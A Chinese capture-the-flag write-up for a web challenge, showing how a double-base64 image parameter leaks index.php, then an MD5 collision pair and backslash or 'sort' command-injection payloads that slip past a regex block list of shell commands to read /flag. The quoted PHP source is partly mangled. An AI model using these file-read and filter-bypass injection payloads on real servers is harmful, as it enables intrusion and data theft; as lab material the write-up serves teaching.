前言

涉及的知识点:

  • md5强比较
  • 反斜杠绕过

正文

界面是

可以看到url上get了两个参数一个img一个cmd

img经过两个base64解码发现是555.png

所以可以猜测后台就是用img提交的参数来进行前端展示

然后尝试读index.php源码

<?php
    echo base64_encode(base64_encode("index.php"));

结果用img提交,成功读到源码

“`php+HTML
‘;
die(“xixi锝� no flag”);
} else {
txt = base64_encode(file_get_contents(file));
echo ““;
echo “
“;
}
echo $cmd;
echo “
“;
if (preg_match(“/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\’|\”|`|;|,|*|\?|\|\\|\n|\t|\r|\xA0|{|}|(|)|\&[^\d]|@|||\|[|]|{|}|(|)|-|<|>/i”,cmd)) {
echo(“forbid ~”);
echo “
“;
} else {
if ((string)_POST[‘a’] !== (string)_POST[‘b’] && md5(_POST[‘a’]) === md5(_POST[‘b’])) {
echo $cmd;
} else {
echo (“md5 is funny ~”);
}
}

?>



大概意思是post提交两个参数a b,不能相等但是md5要相等,并且都是强比较

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

成功,然后cmd传个参数来当做系统命令,但是有过滤

```php
preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)

这里可以用反斜杠绕过

payload

?img=&cmd=ca\t%20/flag

原理应该是\t被php以为是制表符所以绕过了,但是linux能正常执行

其实sort命令没有被过滤也可以用sort命令

payload

?img=&cmd=sort%20/flag

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...